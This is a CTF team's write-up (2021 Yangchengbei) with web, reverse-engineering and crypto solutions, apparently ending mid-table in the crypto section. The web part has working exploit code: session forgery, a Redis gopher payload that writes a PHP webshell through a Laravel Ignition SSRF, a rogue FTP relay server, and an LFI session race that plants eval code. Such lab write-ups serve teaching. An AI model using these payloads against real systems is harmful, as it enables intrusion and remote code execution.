2021 羊城杯WriteUP

比赛感受

题目质量挺不错的,不知道题目会不会上buu有机会复现一下,躺了个三等奖,发下队伍的wp
Team BinX from GZHU

web

Checkin_Go

源码下载下来发现是go语言写的
首先需要登录,用户名密码任意填,用户名不能是admin,爆破md5,这个简单
之后审代码,存在个溢出的问题,但是只能admin能add操作,应该思路就是获得admin身份然后溢出

admin伪造:因为math/rand的问题,是伪随机数,这样本地写个gin的web服务,同样的方式生成session,构造admin的session,拿到cookie去替换题目的,这是admin了,就能去溢出了

测试一下,替换后可以溢出了,每次-1.
跑脚本:

import requests
import re

burp0_url = "http://192.168.39.9:8088/play/add"
my_cookies = {"o": "MTYzMTM2NzE1MHxEdi1CQkFFQ180SUFBUkFCRUFBQV85bl9nZ0FGQm5OMGNtbHVad3dIQUFWMWJtRnRaUVp6ZEhKcGJtY01Cd0FGWVdSdGFXNEdjM1J5YVc1bkRBb0FDRzV2ZDAxdmJtVjVCblZwYm5Rek1nWUVBUDRYQ0FaemRISnBibWNNRHdBTlkyaGxZMnRPYjNkTmIyNWxlUVp6ZEhKcGJtY01HQUFXY0ZFNWMydDVTVmhQY0U0MlVWSnBibFkxVm1wYVFRWnpkSEpwYm1jTURRQUxjR3hoZVdWeVRXOXVaWGtEYVc1MEJBUUFfaWNRQm5OMGNtbHVad3dTQUJCamFHVmphMUJzWVhsbGNrMXZibVY1Qm5OMGNtbHVad3dZQUJaUGJVaFJPSEJDTW1ScGQxaExlRE5TVFdoS1NsVjN8F5SjofI_A2CFFR8Tm1IICvsWzSlR007XlhP07MafLHY="}
burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": "http://192.168.39.9:8088", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://192.168.39.9:8088/game", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}
burp0_data = {"addMoney": "4294967295"}


for i in range(2000):
    data = requests.post(burp0_url, headers=burp0_headers, cookies=my_cookies, data=burp0_data).headers
    data_header = data['Set-Cookie']
    new_cookie = re.findall('o=(.*?);', data_header)[0]
    my_cookies = {'o': new_cookie}
    if i % 1000 == 0:
        print(new_cookie)
    # requests.get("http://192.168.39.9:8088/game", headers=burp0_headers, cookies=my_cookies, data=burp0_data)


足够低了直接买

Cross The Side

参考:https://whoamianony.top/2021/01/15/漏洞复现/Laravel/Laravel Debug mode RCE(CVE-2021-3129)利用复现/

存在一个SSRF的利用,fuzz一下端口,存在6379

{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "http://127.0.0.1:6379/"
  }
}

使用gopherus(https://github.com/tarunkant/Gopherus)生成攻击redis的payload:

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2434%0D%0A%0A%0A%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

搭建一个恶意的ftp服务,并将上面的payload中的数据替换掉下面ftp脚本中的payload的内容:

# -*- coding: utf-8 -*-
# @Time    : 2021/1/13 6:56 下午
# @Author  : tntaxin
# @File    : ftp_redirect.py
# @Software:

import socket
from urllib.parse import unquote

# 对gopherus生成的payload进行一次urldecode
payload = unquote("%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2434%0D%0A%0A%0A%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashele.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A")
payload = payload.encode('utf-8')

host = '0.0.0.0'
port = 23
sk = socket.socket()
sk.bind((host, port))
sk.listen(5)

# ftp被动模式的passvie port,监听到1234
sk2 = socket.socket()
sk2.bind((host, 1234))
sk2.listen()

# 计数器,用于区分是第几次ftp连接
count = 1
while 1:
    conn, address = sk.accept()
    conn.send(b"200 \n")
    print(conn.recv(20))  # USER aaa\r\n  客户端传来用户名
    if count == 1:
        conn.send(b"220 ready\n")
    else:
        conn.send(b"200 ready\n")

    print(conn.recv(20))   # TYPE I\r\n  客户端告诉服务端以什么格式传输数据,TYPE I表示二进制, TYPE A表示文本
    if count == 1:
        conn.send(b"215 \n")
    else:
        conn.send(b"200 \n")

    print(conn.recv(20))  # SIZE /123\r\n  客户端询问文件/123的大小
    if count == 1:
        conn.send(b"213 3 \n")  
    else:
        conn.send(b"300 \n")

    print(conn.recv(20))  # EPSV\r\n'
    conn.send(b"200 \n")

    print(conn.recv(20))   # PASV\r\n  客户端告诉服务端进入被动连接模式
    if count == 1:
        conn.send(b"227 81,69,41,100,4,210\n")  # 服务端告诉客户端需要到哪个ip:port去获取数据,ip,port都是用逗号隔开,其中端口的计算规则为:4*256+210=1234
    else:
        conn.send(b"227 127,0,0,1,24,235\n")  # 端口计算规则:24*256+235=6379

    print(conn.recv(20))  # 第一次连接会收到命令RETR /123\r\n,第二次连接会收到STOR /123\r\n
    if count == 1:
        conn.send(b"125 \n") # 告诉客户端可以开始数据连接了
        # 新建一个socket给服务端返回我们的payload
        print("建立连接!")
        conn2, address2 = sk2.accept()
        conn2.send(payload)
        conn2.close()
        print("断开连接!")
    else:
        conn.send(b"150 \n")
        print(conn.recv(20))
        exit()

    # 第一次连接是下载文件,需要告诉客户端下载已经结束
    if count == 1:
        conn.send(b"226 \n")
    conn.close()
    count += 1


开启了,然后去构造请求,触发:

{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "ftp://aaa@81.69.41.100:23/123"
  }
}

Only4

既然有文件包含,那就不用猜了直接读,确定一下php session的位置
http://192.168.39.9:8000/?gwht=php://filter/read=convert.base64-encode/resource=/etc/php5/cli/php.ini

;session.save_path = "/var/lib/php5"

参考这篇文章:https://ca01h.top/Web_security/php_related/13.session.upload_progress+LFI实现RCE/
python并发没跑出来,直接换burp

import requests
import io
import threading

url = """http://192.168.39.9:8000/"""
sessid = "ca01h"
data = {"cmd": "system('ls');"}
proxy = {"http": "127.0.0.1:8080"}


def write(session):
    while True:
        f = io.BytesIO(b'a' * 1024)
        resp = session.post(url=url, data={"PHP_SESSION_UPLOAD_PROGRESS": "<?php eval($_POST);?>"},
                            files={"file": ("ca01h.txt", f)}, cookies={"PHPSESSID": sessid}, proxies=proxy)


def read(session):
    while True:
        resp = session.post(url=url+"?gwht=../../../../../../var/lib/php5/sess_"+sessid, data=data, proxies=proxy)
        if "ca01h.txt" in resp.text:
            print(resp.text)
            event.clear()
        else:
            print("[++++++]Retry")


if __name__ == '__main__':
    event = threading.Event()
    with requests.session() as session:
        for i in range(30):
            threading.Thread(target=write, args=(session,)).start()
        for i in range(30):
            threading.Thread(target=read, args=(session,)).start()
    event.set()

Easycurl

这道题没出
common.php.bak

<?php

class User
{
    public $username;
    private $password;
    public $personal_intro;
    public $gender;
    public $valid;
    public $session_id;
    public $logger;
    public $db_operator;

    public function __construct($username,$password)
    {
        $this->username=$username;
        $this->password=md5($password);

    }

    public function __toString()
    {
        return 'username:'.$this->username;
    }

    public function __wakeup()
    {
        $this->logger=new logger('log/user_'.$this->username.'.log');
        $this->logger->write_log(date('Y-m-d H:i:s').' | user:'.$this->username.' loaded in');
    }

    public function initialize_db($host,$db,$user,$pass){
        $this->db_operator=new db($host,$db,$user,$pass);
    }

    public function set_current_session_id($session_id){
        $this->session_id=$session_id;
    }

    public function update_database(){
        if($this->username!=''&&strlen($this->password)==32){

        }
        else{
            echo 'invalid data';
        }
    }
    public function set_password($new_password){
        $this->password=$new_password;
        //pdo插入数据
    }

    public function set_gender($new_gender){
        $this->gender=$new_gender;
    }

    public function set_personal_intro($new_personal_intro){
        $this->personal_intro=$new_personal_intro;
    }
    public function check_valid_user(){
        require 'config.php';
        $this->initialize_db($host,$db,$user,$pass);
        $info=$this->db_operator->query_one('user','username',$this->username);
        //print_r($info);
        $password='';
        if(isset($info[0]['password']))
            $password=$info[0]['password'];
        //echo $password;
        //pdo获取密码
        if($this->password===$password){
            $this->logger=new logger('log/user_'.$this->username);
            $this->logger->write_log(date('Y-m-d H:i:s').' | user:'.$this->username.' logged in');
            $this->valid=true;
            return true;
        }
        $this->valid=false;
        return false;
    }
}

class db{
    public $dbh;

    public function __construct($host,$db,$user,$pass)
    {
        try{
            $this->dbh=new PDO('mysql:host='.$host.';dbname='.$db,$user,$pass);
            $this->dbh->setAttribute(PDO::ATTR_EMULATE_PREPARES,false);
        }catch (PDOException  $e){
            echo 'database connect fail: '.$e;
            return false;
    }
    return true;
    }
    public function __destruct()
    {
        $this->close();
    }

    public function query_all(){
        $query='select * from user ';
        $prepared=$this->dbh->prepare($query);
        $prepared->execute();
        if(!$prepared->fetchAll()){
            return false;
        }
        return $prepared->fetchAll();
    }

    public function query_one($table,$column,$limitation){
        $query="select * from user where username= ? ";
        $prepared=$this->dbh->prepare($query);
        $prepared->execute(array($limitation));
        //var_dump($prepared);
        return $prepared->fetchAll();
    }

//    public function update_one($table,$set_column,$value,$where_column,$limitation){
//        $query='update user set ? = ? where ? = ?';
//        $prepared=$this->dbh->prepare($query);
//        return $prepared->execute(array($set_column,$value,$where_column,$limitation));
//    }

    public function insert_one($value_array){
        $query='insert into user values ? , ? , ? , ?';
        $prepared=$this->dbh->prepare($query);
        return $prepared->execute($value_array);
    }

    public function close(){
        $this->dbh=null;
    }
}

class cache_parser{
    public $user;
    public $user_cache;
    public $default_handler='call_handler';
    public $logger;

    public function __construct()
    {
        $this->logger=new logger('log/parser');
    }

    public function __toString()
    {
        $this->save_user_info();
        //var_dump($this->user);
        //var_dump($this->user_cache);
        return $this->user_cache;
    }

    public function __call($name, $arguments)
    {
        $handler=$this->default_handler;
        $handler();
    }

    public function get_user($user){
        $this->user=$user;
    }

    public function save_user_info(){
        if(isset($this->user->session_id)){
            if(preg_match('/[^A-Za-z_]/',$this->user->username)||preg_match('/ph|htaccess|\./i',$this->user->session_id)){
                echo '<p>illegal username or session id</p>';
                return false;
            }
            $this->user_cache=serialize($this->user);
            file_put_contents('cache_'.$this->user->session_id.'.txt',$this->user_cache);
            $this->logger->write_log(date('Y-m-d H:i:s').' | extracted user info: '.$this->user);
            return true;
        }
        echo $this->user->session_id;
        return false;
    }

    public function get_user_cache($session_id){
        if(isset($_SESSION[$session_id])){
            $this->user_cache=file_get_contents('cache_'.$session_id.'.txt');
            $this->user=unserialize($this->user_cache);
            return true;
        }
        return false;
    }
    public function load_user($user_cache){
        $this->user=unserialize($user_cache);
        return $this->user;
    }
}

class file_request{
    public $url;
    private $content;


    public function __construct($url)
    {
        $this->url=$url;
    }

    public function request(){
        $ch=curl_init();
        curl_setopt($ch,CURLOPT_URL,$this->url);
        curl_setopt($ch,CURLOPT_RETURNTRANSFER,0);
        $this->content=curl_exec($ch);
        echo 'resource requested!';
        curl_close($ch);
    }

    public function get_response(){
        echo $this->content;
        return $this->content;
    }

    public function __invoke()
    {
        if($this->content!=''){
            return $this->get_response();
        }
        elseif ($this->url!=''){
            $this->request();
            return $this->get_response();
        }
        else{
            return 'empty url!';
        }
    }
}

class logger{
    public $filename;
    public function __construct($log)
    {
        $this->filename=$log;
    }
    public function write_log($content){

        file_put_contents($this->filename.'.log',$content.PHP_EOL,FILE_APPEND);
//        echo 'log!';
    }
}

function call_handler($name){
    echo 'call to undefined function '.$name.'()';
}

http://192.168.39.9:8050/app

admin:R1nd0_1s_n3k0
neko:114514
http://192.168.39.9:8050/log/


用SSRF去打内网

后面太困了 做不动了 等一手复现好吧。

re

BabySmc

分析程序,得程序得程序得逻辑为,读入数据,使用一个变种base64 进行加密,每个字符base加密后数据根据数据的位置,与指定的数据进行以后,得到密文后与内置的密文进行比较,一直则输出成功,否则失败。
写出解密脚本

d = [0xE4, 0xC4, 0xE7, 0xC7, 0xE6, 0xC6, 0xE1, 0xC1, 0xE0, 0xC0, 0xE3, 0xC3, 0xE2, 0xC2, 0xED, 0xCD, 0xEC, 0xCC, 0xEF, 0xCF, 0xEE, 0xCE, 0xE9, 0xC9, 0xE8, 0xC8, 0xEB, 0xCB, 0xEA, 0xCA, 0xF5, 0xD5, 0xF4, 0xD4, 0xF7, 0xD7, 0xF6, 0xD6, 0xF1, 0xD1, 0xF0, 0xD0, 0xF3, 0xD3, 0xF2, 0xD2, 0xFD, 0xDD, 0xFC, 0xDC, 0xFF, 0xDF, 0x95, 0x9C, 0x9D, 0x92, 0x93, 0x90, 0x91, 0x96, 0x97, 0x94, 0x8A, 0x8E]

enc_bin = ''

enc = 'H>oQn6aqLr{DH6odhdm0dMe`MBo?lRglHtGPOdobDlknejmGI|ghDb<'

flag = ''

table = [0xa6, 0xa3, 0xa9, 0xac]

if __name__ == '__main__':
    for i in range(len(enc)):
        try:
            enc_bin += ('{:06b}'.format(d.index(ord(enc[i])^table[i%4])))
        except:
            print("see",i)
    for i in range(0, len(enc_bin), 8):
        flag += (chr(int('0b'+enc_bin[i:i+8],2)))
    print(flag)
# SangFor{XSAYT0u5DQhaxveIR50X1U13M-pZK5A0}

Ez_android

下载程序,用jdx-gui打开,找到资源,分别为用户名,密码,加密的flag。

分析程序逻辑,程序获取用户输入后,对用户输入密码进行md5后再诸位减一,复原后
c33367701511b4f6020ec61ded352059
在线搜索md5,可得密码:

连接服务器:


得到解密的key
分析解密算法,使用的是base64,直接base64解密即可:

enc  = '3lkHi9iZNK87qw0p6U391t92qlC5rwn5iFqyMFDl1t92qUnL6FQjqln76l-P'
table = 'TGtUnkaJD0frq61uCQYw3-FxMiRvNOB/EWjgVcpKSzbs8yHZ257X9LldIeh4APom'

bin_tmp = ''
flag = ''

for i in enc:
    bin_tmp += '{:06b}'.format(table.index(i))

for i in range(0, len(bin_tmp), 8):
    flag += chr(int('0b'+bin_tmp[i:i+8],2))
print(flag)
# SangFor{212f4548-03d1-11ec-ab68-00155db3a27e}

Deltx

分析代码逻辑,代输入SangFor{+32位字符+},要求字符全部能转为16进制,八个一组,每组分为两个大数。这两个大数的限制为,乘积为一个定值,前面的数字减后面的数据为一个定值,这决定了数字的位置,使得flag唯一。

输入的数据的小写,要求除了第二组数,其他全部大写,第二组数小写

使用z3来解flag:

from z3 import *

result1 = [614340037,885517026,1668903866,241160452]

result2 = [-42564,8555,33181,37779]

a,b,c,d,e,f,g,h = Ints('a b c d e f g h')

s = Solver()
s.add(a>0)
s.add(b>0)
s.add(a*b==result1[0])
s.add(a-b==result2[0])
s.add(c*d==result1[1])
s.add(c-d==result2[1])
s.add(e*f==result1[2])
s.add(e-f==result2[2])
s.add(g*h==result1[3])
s.add(g-h==result2[3])

table = [a, b, c, d, e,f, g,h]

if __name__ == '__main__':
    flag = 'SangFor{'
    if s.check()==sat:
        m = s.model()
        m.sorts()
        for i in table:
            if i==c or i ==d:
                flag += (hex(m[i].as_long())[2:])
            else:
                flag += (hex(m[i].as_long())[2:].upper())
    flag += '}'
    print(flag)
# SangFor{2C7BD2BF862564baED0B6B6EA94F15BC}

crypto

MISS

来自国外比赛的原题,来源:https://github.com/Mathsyo/CTFs/tree/30a528f98f1ffc512c110f0a67e299a1a0397919/MidnightFlagCTF/Cryptography/Something_missing
exp:

S_BOX = [
    0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76,
    0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0,
    0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15,
    0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75,
    0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84,
    0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf,
    0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8,
    0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2,
    0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73,
    0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb,
    0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79,
    0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08,
    0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a,
    0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e,
    0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf,
    0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16, ]

S_INV_BOX = [
    0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e, 0x81, 0xf3, 0xd7, 0xfb,
    0x7c, 0xe3, 0x39, 0x82, 0x9b, 0x2f, 0xff, 0x87, 0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde, 0xe9, 0xcb,
    0x54, 0x7b, 0x94, 0x32, 0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b, 0x42, 0xfa, 0xc3, 0x4e,
    0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49, 0x6d, 0x8b, 0xd1, 0x25,
    0x72, 0xf8, 0xf6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xd4, 0xa4, 0x5c, 0xcc, 0x5d, 0x65, 0xb6, 0x92,
    0x6c, 0x70, 0x48, 0x50, 0xfd, 0xed, 0xb9, 0xda, 0x5e, 0x15, 0x46, 0x57, 0xa7, 0x8d, 0x9d, 0x84,
    0x90, 0xd8, 0xab, 0x00, 0x8c, 0xbc, 0xd3, 0x0a, 0xf7, 0xe4, 0x58, 0x05, 0xb8, 0xb3, 0x45, 0x06,
    0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x0f, 0x02, 0xc1, 0xaf, 0xbd, 0x03, 0x01, 0x13, 0x8a, 0x6b,
    0x3a, 0x91, 0x11, 0x41, 0x4f, 0x67, 0xdc, 0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73,
    0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8, 0x1c, 0x75, 0xdf, 0x6e,
    0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89, 0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b,
    0xfc, 0x56, 0x3e, 0x4b, 0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4,
    0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xec, 0x5f,
    0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d, 0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef,
    0xa0, 0xe0, 0x3b, 0x4d, 0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61,
    0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0c, 0x7d]

RCON_BOX = [
    0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a,
    0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91, 0x39,
    0x72, 0xe4, 0xd3, 0xbd, 0x61, 0xc2, 0x9f, 0x25, 0x4a, 0x94, 0x33, 0x66, 0xcc, 0x83, 0x1d, 0x3a,
    0x74, 0xe8, 0xcb, 0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8,
    0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef,
    0xc5, 0x91, 0x39, 0x72, 0xe4, 0xd3, 0xbd, 0x61, 0xc2, 0x9f, 0x25, 0x4a, 0x94, 0x33, 0x66, 0xcc,
    0x83, 0x1d, 0x3a, 0x74, 0xe8, 0xcb, 0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b,
    0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3,
    0x7d, 0xfa, 0xef, 0xc5, 0x91, 0x39, 0x72, 0xe4, 0xd3, 0xbd, 0x61, 0xc2, 0x9f, 0x25, 0x4a, 0x94,
    0x33, 0x66, 0xcc, 0x83, 0x1d, 0x3a, 0x74, 0xe8, 0xcb, 0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20,
    0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35,
    0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91, 0x39, 0x72, 0xe4, 0xd3, 0xbd, 0x61, 0xc2, 0x9f,
    0x25, 0x4a, 0x94, 0x33, 0x66, 0xcc, 0x83, 0x1d, 0x3a, 0x74, 0xe8, 0xcb, 0x8d, 0x01, 0x02, 0x04,
    0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63,
    0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91, 0x39, 0x72, 0xe4, 0xd3, 0xbd,
    0x61, 0xc2, 0x9f, 0x25, 0x4a, 0x94, 0x33, 0x66, 0xcc, 0x83, 0x1d, 0x3a, 0x74, 0xe8, 0xcb, 0x8d]

GF_MULT_1 = [
    0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f,
    0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f,
    0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, 0x28, 0x29, 0x2a, 0x2b, 0x2c, 0x2d, 0x2e, 0x2f,
    0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3a, 0x3b, 0x3c, 0x3d, 0x3e, 0x3f,
    0x40, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 0x49, 0x4a, 0x4b, 0x4c, 0x4d, 0x4e, 0x4f,
    0x50, 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57, 0x58, 0x59, 0x5a, 0x5b, 0x5c, 0x5d, 0x5e, 0x5f,
    0x60, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68, 0x69, 0x6a, 0x6b, 0x6c, 0x6d, 0x6e, 0x6f,
    0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, 0x77, 0x78, 0x79, 0x7a, 0x7b, 0x7c, 0x7d, 0x7e, 0x7f,
    0x80, 0x81, 0x82, 0x83, 0x84, 0x85, 0x86, 0x87, 0x88, 0x89, 0x8a, 0x8b, 0x8c, 0x8d, 0x8e, 0x8f,
    0x90, 0x91, 0x92, 0x93, 0x94, 0x95, 0x96, 0x97, 0x98, 0x99, 0x9a, 0x9b, 0x9c, 0x9d, 0x9e, 0x9f,
    0xa0, 0xa1, 0xa2, 0xa3, 0xa4, 0xa5, 0xa6, 0xa7, 0xa8, 0xa9, 0xaa, 0xab, 0xac, 0xad, 0xae, 0xaf,
    0xb0, 0xb1, 0xb2, 0xb3, 0xb4, 0xb5, 0xb6, 0xb7, 0xb8, 0xb9, 0xba, 0xbb, 0xbc, 0xbd, 0xbe, 0xbf,
    0xc0, 0xc1, 0xc2, 0xc3, 0xc4, 0xc5, 0xc6, 0xc7, 0xc8, 0xc9, 0xca, 0xcb, 0xcc, 0xcd, 0xce, 0xcf,
    0xd0, 0xd1, 0xd2, 0xd3, 0xd4, 0xd5, 0xd6, 0xd7, 0xd8, 0xd9, 0xda, 0xdb, 0xdc, 0xdd, 0xde, 0xdf,
    0xe0, 0xe1, 0xe2, 0xe3, 0xe4, 0xe5, 0xe6, 0xe7, 0xe8, 0xe9, 0xea, 0xeb, 0xec, 0xed, 0xee, 0xef,
    0xf0, 0xf1, 0xf2, 0xf3, 0xf4, 0xf5, 0xf6, 0xf7, 0xf8, 0xf9, 0xfa, 0xfb, 0xfc, 0xfd, 0xfe, 0xff]

GF_MULT_2 = [
    0x00, 0x02, 0x04, 0x06, 0x08, 0x0a, 0x0c, 0x0e, 0x10, 0x12, 0x14, 0x16, 0x18, 0x1a, 0x1c, 0x1e,
    0x20, 0x22, 0x24, 0x26, 0x28, 0x2a, 0x2c, 0x2e, 0x30, 0x32, 0x34, 0x36, 0x38, 0x3a, 0x3c, 0x3e,
    0x40, 0x42, 0x44, 0x46, 0x48, 0x4a, 0x4c, 0x4e, 0x50, 0x52, 0x54, 0x56, 0x58, 0x5a, 0x5c, 0x5e,
    0x60, 0x62, 0x64, 0x66, 0x68, 0x6a, 0x6c, 0x6e, 0x70, 0x72, 0x74, 0x76, 0x78, 0x7a, 0x7c, 0x7e,
    0x80, 0x82, 0x84, 0x86, 0x88, 0x8a, 0x8c, 0x8e, 0x90, 0x92, 0x94, 0x96, 0x98, 0x9a, 0x9c, 0x9e,
    0xa0, 0xa2, 0xa4, 0xa6, 0xa8, 0xaa, 0xac, 0xae, 0xb0, 0xb2, 0xb4, 0xb6, 0xb8, 0xba, 0xbc, 0xbe,
    0xc0, 0xc2, 0xc4, 0xc6, 0xc8, 0xca, 0xcc, 0xce, 0xd0, 0xd2, 0xd4, 0xd6, 0xd8, 0xda, 0xdc, 0xde,
    0xe0, 0xe2, 0xe4, 0xe6, 0xe8, 0xea, 0xec, 0xee, 0xf0, 0xf2, 0xf4, 0xf6, 0xf8, 0xfa, 0xfc, 0xfe,
    0x1b, 0x19, 0x1f, 0x1d, 0x13, 0x11, 0x17, 0x15, 0x0b, 0x09, 0x0f, 0x0d, 0x03, 0x01, 0x07, 0x05,
    0x3b, 0x39, 0x3f, 0x3d, 0x33, 0x31, 0x37, 0x35, 0x2b, 0x29, 0x2f, 0x2d, 0x23, 0x21, 0x27, 0x25,
